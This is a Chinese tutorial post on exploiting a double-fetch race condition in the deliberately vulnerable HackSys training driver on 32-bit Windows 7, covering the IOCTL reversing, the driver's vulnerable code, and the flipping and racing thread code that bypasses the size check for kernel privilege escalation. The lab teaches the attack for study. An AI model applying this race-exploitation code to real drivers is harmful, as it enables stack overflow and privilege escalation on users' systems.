这一篇介绍一种比较特殊的漏洞,DoubleFetch,本质上说,这也是条件竞争(Racing Condition)漏洞的一种。
实验环境:Win10专业版+VMware Workstation 15 Pro+Win7 x86 sp1
实验工具:VS2015+Windbg+KmdManager+DbgViewer
竞争条件(Race condition)是由于多个对象(线程、进程)同时操作同一资源,导致系统执行违背原有逻辑设定的行为。此类漏洞在Linux或者内核层面比较常见,当然在Windows或者Web层面也存在。尤其是一些电商网站,加入购物的竞争条件漏洞存在,则可能导致以低价购买多个商品。
了解同步知识的小伙伴应该不难理解,类比操作系统的RAW/WAR/WAW。
下面引用泉哥《漏洞战争》中的小例子:A、B两人同时向一个银行账户存款,此时卡上余额为1000元,其中A存款200元,B存款500元,正常的存款流程如下,两人存款后余额应为1700元。
用户A | 用户B | 余额 |
检查余额 | 1000元 | |
存入200元 | 1200元 | |
检查余额 | 1200元· | |
存入500元 | 1700元 |
但是如果银行没有很好的同步处理机制,那么可能造成下面的情况,造成最终存款余额为1500元,丢失200元,这是很严重的问题。
用户A | 用户B | 余额 | 注释 |
检查余额
| 1000元 | Time of Check(A) | |
检查余额 | 1000元 | Time of Check(B) | |
存入200元(丢失) | 1200元 | TIme of Use(A) | |
存入500元 | 1500元 | Time of Use(B) |
检查余额的时间可以称为“Time of Check”,存款的时间可以称为“Time of Use”,则该问题可为“TOCTOU”或者“TOTTTOU”,属于竞争条件漏洞。
此类漏洞常见于各类IO操作,如文件操作、网络访问等。
如果攻击者能在某个对象的Time of Check和Time of Use之间争得时间,在此时间内获得操作的机会,那么就有可能破坏程序原定的处理逻辑。比如相对用户B来说,TOU(A)就是对其的破坏行为,使得本应存入的200元被丢弃;同理相当于与用户A,TOU(B)就是对其的破坏行为,只是检查余额是个无害行为,假如它刚好也是个存款行为,那么这笔钱也会被“无效掉”,如下所示,我们将用户B的行为互换,存入的500元也会丢失。
用户A | 用户B | 余额 | 注释 |
检查余额 | 1000元 | Time of Check(A) | |
存入500元(丢失) | 1500元 | Time of Use(B) | |
存入200元 | 1200元 | Time of Use(A) | |
检查余额 | 1200元 | Time of Check(B) |
熟悉编程的小伙伴应该知道互斥锁、自旋锁、信号量等概念,他们的出现就是为了解决同步问题,保证某一对象在对特定资源进行访问时,其他对象不能访问操作该特定资源,保证正常同步操作处理。
首先,看下IDA中,驱动程序流程:
注意到 IrpDeviceIoCtlHandler派遣历程中,loc_156BF跳转至我们的漏洞函数,我们找到引用:
ecx为我们的IO控制码,那么稍微推理一下,ecx大于0x222027,小于0x2223B,再往下,可以看到其精确等于0x22202B+4+4+4=0x222037。
我们验证一哈:
#define FILE_DEVICE_UNKNOWN 0x00000022 #define METHOD_NEITHER 3 #define FILE_ANY_ACCESS 0 #define HACKSYS_EVD_IOCTL_DOUBLE_FETCH CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80D, METHOD_NEITHER, FILE_ANY_ACCESS) #define CTL_CODE( DeviceType, Function, Method, Access ) ( \ ((DeviceType) << 16) | ((Access) << 14) | ((Function) << 2) | (Method) \ )
进入漏洞函数,我们看一下流程:
esi为唯一参数,取出参数变量地址+4处成员,与0x800比较,现在看起来好像没有什么问题,但仔细一想,好像和之前不太一样,少了一个参数,那么如果当前参数为用户缓冲区地址,那么大小怎么来确定呢,而取出来的成员又是什么呢?如果成员是缓冲区大小,那么多线程的情况下,多次调用DeviceIoControl改变此成员的值,就有可能绕过缓冲区长度检查,形成漏洞。下面是DoubleFetch.c文件中的漏洞函数。
__declspec(safebuffers) NTSTATUS TriggerDoubleFetch( _In_ PDOUBLE_FETCH UserDoubleFetch) { NTSTATUS Status = STATUS_SUCCESS; ULONG KernelBuffer[BUFFER_SIZE] = { 0 }; #ifdef SECURE PVOID UserBuffer = NULL; SIZE_T UserBufferSize = 0; #endif PAGED_CODE(); __try { // Verify if the buffer resides in user mode ProbeForRead(UserDoubleFetch, sizeof(DOUBLE_FETCH), (ULONG)__alignof(UCHAR)); DbgPrint("[+] UserDoubleFetch: 0x%p\n", UserDoubleFetch); DbgPrint("[+] KernelBuffer: 0x%p\n", &KernelBuffer); DbgPrint("[+] KernelBuffer Size: 0x%X\n", sizeof(KernelBuffer)); #ifdef SECURE UserBuffer = UserDoubleFetch->Buffer; UserBufferSize = UserDoubleFetch->Size; DbgPrint("[+] UserDoubleFetch->Buffer: 0x%p\n", UserBuffer); DbgPrint("[+] UserDoubleFetch->Size: 0x%X\n", UserBufferSize); if (UserBufferSize > sizeof(KernelBuffer)) { DbgPrint("[-] Invalid Buffer Size: 0x%X\n", UserBufferSize); Status = STATUS_INVALID_PARAMETER; return Status; } // Secure Note: This is secure because the developer is fetching // 'UserDoubleFetch->Buffer' and 'UserDoubleFetch->Size' from user // mode just once and storing it in a temporary variable. Later, this // stored values are passed to RtlCopyMemory()/memcpy(). Hence, there // will be no race condition // RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, UserBufferSize); #else DbgPrint("[+] UserDoubleFetch->Buffer: 0x%p\n", UserDoubleFetch->Buffer); DbgPrint("[+] UserDoubleFetch->Size: 0x%X\n", UserDoubleFetch->Size); if (UserDoubleFetch->Size > sizeof(KernelBuffer)) { DbgPrint("[-] Invalid Buffer Size: 0x%X\n", UserDoubleFetch->Size); Status = STATUS_INVALID_PARAMETER; return Status; } DbgPrint("[+] Triggering Double Fetch\n"); // // Vulnerability Note: This is a vanilla Double Fetch vulnerability because the // developer is fetching 'UserDoubleFetch->Buffer' and 'UserDoubleFetch->Size' // from user mode twice and the double fetched values are passed to RtlCopyMemory()/memcpy(). // This creates a race condition and the size check could be bypassed which will later // cause stack based buffer overflow // RtlCopyMemory((PVOID)KernelBuffer, UserDoubleFetch->Buffer, UserDoubleFetch->Size); #endif } __except (EXCEPTION_EXECUTE_HANDLER) { Status = GetExceptionCode(); DbgPrint("[-] Exception Code: 0x%X\n", Status); } return Status; }
可以看到,用户层的传来的参数为UserDoubleFetch,发现其结构为
typedef struct _DOUBLE_FETCH { PVOID Buffer; SIZE_T Size; } DOUBLE_FETCH, *PDOUBLE_FETCH;
那么,和我们的猜想是一致的,构成DoubleFetch漏洞。
结合前面的分析,我们使用多核测试环境,注意这是必要的。(开始测试时,使用的单核Win7虚拟机,怎么测试都不成功,看了下源码,才发现代码中是有多核条件限制的)。
SYSTEM_INFO SystemInfo; GetSystemInfo(&SystemInfo); return (ULONG)SystemInfo.dwNumberOfProcessors;
整理一下思路,我们通过多线程对要传入内核的用户模式缓冲区的size进行修改,在第一个竞争线程的Time of Check时间和Time of User之间,翻转线程在ring3修改size值,第二个竞争线程重新传入内核,即越过长度检查限制,从而造成缓冲区溢出,实现漏洞利用。
具体代码参考这里,下面给出两个线程代码:
DWORD WINAPI FlippingThread(LPVOID Parameter) { DEBUG_INFO("\t\t\t[+] FlippingThread Scheduled On Processor: %d\n", GetCurrentProcessorNumber()); while (!ExploitSuccessful) { *(PULONG)Parameter ^= 0x00000A24; } return EXIT_SUCCESS; } //竞争线程 DWORD WINAPI RacingThread(LPVOID Parameter) { HANDLE hFile = NULL; ULONG BytesReturned; BOOL Success = FALSE; HANDLE hThread = NULL; PDOUBLE_FETCH UserDoubleFetch = NULL; PRACING_THREAD_PARAMETER RacingThreadParameter = NULL; RacingThreadParameter = (PRACING_THREAD_PARAMETER)Parameter; hFile = RacingThreadParameter->DeviceHandle; UserDoubleFetch = RacingThreadParameter->DoubleFetch; DEBUG_INFO("\t\t\t[+] RacingThread Scheduled On Processor: %d\n", GetCurrentProcessorNumber()); OutputDebugString("****************Kernel Mode****************\n"); while (!ExploitSuccessful) { // It's best to flush TLB Cache in Racing Thread EmptyWorkingSet(GetCurrentProcess()); Success = DeviceIoControl(hFile, HACKSYS_EVD_IOCTL_DOUBLE_FETCH, (LPVOID)UserDoubleFetch, 0, NULL, 0, &BytesReturned, NULL); } OutputDebugString("****************Kernel Mode****************\n"); return EXIT_SUCCESS; }
发现关于缓冲区溢出的内核漏洞,VS环境下编译的版本有问题时,可以测试第二版,可以看到提权成功。
最后于 1天前 被Saturn丶编辑 ,原因: